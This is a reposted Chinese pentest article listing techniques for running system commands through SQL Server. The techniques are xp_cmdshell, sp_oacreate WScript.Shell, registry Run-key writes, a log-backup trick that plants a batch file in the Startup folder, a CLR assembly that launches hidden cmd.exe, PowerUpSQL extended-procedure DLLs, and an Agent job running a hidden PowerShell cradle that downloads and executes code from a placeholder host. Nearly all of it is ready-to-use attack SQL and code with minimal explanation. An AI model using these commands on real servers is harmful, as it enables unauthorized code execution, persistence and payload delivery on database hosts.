如何通过SQL Server执行系统命令?
作者:佚名
上传时间:2019-04-04
版权申诉
本文讲的是
如何通过SQL Server执行系统命令?
,
0x00 简介
exec master..xp_cmdshell "whoami"
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'
alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式) create table cmd (a image)-- (新建立一个cmd表) backup database test to disk = 'D:\\temp\\cmd' WITH init -- backup log test to disk = 'D:\\temp\\cmd1' WITH init -- (减少备分数据的大小) insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40) -- (插入cmd命令) backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径) drop table cmd --(删除新建的cmd表) alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
1、在SQL Server上能启用CLR并可以创建自定义存储过程 2、SQL Server当前账号具有执行命令/代码所需要的权限
CREATE ASSEMBLY AssemblyName from ‘DLLPath’
CREATE ASSEMBLY AssemblyName from 文件十六进制流
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void SqlStoredProcedure1 () { // 在此处放置代码 System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/C whoami > d:\\temp\\1.txt"; process.Start(); } }
CREATE ASSEMBLY [ExecCode] AUTHORIZATION [dbo] FROM 0x4D5A[...snip...] WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[SqlStoredProcedure1] AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]
EXEC sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE --开启clr enabled 选项 EXEC sp_configure N'clr enabled', N'1' RECONFIGURE WITH OVERRIDE --关闭所有服务器配置选项 EXEC sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE --如果存在权限问题,执行下面一段脚本 alter database [master] set TRUSTWORTHY on EXEC sp_changedbowner 'sa'
EXEC [dbo].[SqlStoredProcedure1];
DROP PROCEDURE [dbo].[SqlStoredProcedure1]; DROP ASSEMBLY ExecCode
PS C:\Users\Evi1cg\Desktop\PowerUpSQL> . .\PowerUpSQL.ps1 PS C:\Users\Evi1cg\Desktop\PowerUpSQL> Create-SQLFileXpDll -OutFile D:\temp\exec.dll -Command "echo Exec test > D:\temp\ test.txt" -ExportName xp_test
//via local disk sp_addextendedproc 'xp_test', 'D:\temp\exec.dll' //via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\exec.dll'
exec master..xp_test;
sp_dropextendedproc 'xp_test'
原文发布时间为:2017年2月14日
本文作者:Evi1cg
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
免责申明:文章和图片全部来源于公开网络,如有侵权,请通知删除 server@dude6.com
用户评论
相关推荐
如何通过SQL Server执行系统命令?
本文讲的是 如何通过SQL Server执行系统命令? , 0x00 简介 渗透测试过程中,大家经常会
sql server远程执行cmd命令
这是用C#Winfrom写的一个小工具,利用sqlserver中的master数据库中的xp_cmdshell远程执行cmd命令。
RAR
0B
2019-07-15 00:48
通过Windows批处理命令执行SQL Server数据库备份
主要介绍了通过Windows批处理命令执行SQL Server数据库备份的相关资料,需要的朋友可以参考下
PDF
30KB
2020-10-03 19:13
Python如何执行系统命令
一、背景说明 以前就感觉进步的速度和博客的数量成正比,所以很长一段时间内想不通为什么很多博客为什么到最后很少甚至不在更新了,直到最近自己也快成为断更的一员。 这段时间其实碰到和解决了挺多典型的问题,但
PDF
61KB
2020-12-31 10:33
如何修改SQL Server2005执行环境
在SQL Server 2000中,您可以使用SETUSER命令来模拟SQL用户的执行环境,但问题在于,只有系统管理员或者数据库的所有者才能使用这个命令,而且Windows账户也不能使用该命令。在SQ
DOC
51KB
2020-09-15 01:50
remote pad server Broker MQTT通过远程执行命令执行命令源码
远程平板服务器 MQTT Broker负责执行发送的命令。 这个想法是从移动设备接收数据,例如模拟赛车游戏的方向盘(SNES Top Gear或Nintendo 64 Mario Kart),并像键盘
ZIP
238KB
2021-02-16 17:38
在postgresql中通过命令行执行sql文件
如果是远程数据库加入-h参数指定主机地址即可一、建立数据库连接接入PostgreSQL数据库: psql -h IP地址 -p 端口 -U 数据库名之后会要求输入数据库密码二、访问数据库1、列举数据库
pdf
138.24 KB
2021-08-21 00:35
SQL Server如何用代码通过ODBC刷新链接
在用MDB与SQLServer2000连接时,有时需要刷新链接表,本文介绍了SQLServer用代码通过ODBC刷新链接的方法。
DOC
0B
2020-05-31 07:54
VC++如何使用ADO执行SQL命令源码程序
摘要:VC/C++源码,数据库应用,ADO VC++如何使用ADO执行SQL命令的实例源码,在输入框中输入SQL表达式,点击“执行”按钮,即可连接到Access,并读取出数据,而且通过本实例,还可
RAR
0B
2020-06-13 23:37
python通过getopt模块如何获取执行的命令参数详解
通常我们可以通过getopt模块获得不同的执行命令和参数。下面我通过新建一个test.py的脚本解释下这个模块的的使用执行命令 :执行结果 :我们查看getopt模块的官方文档可以发现getopt方法
PDF
72.66 KB
2020-09-29 13:19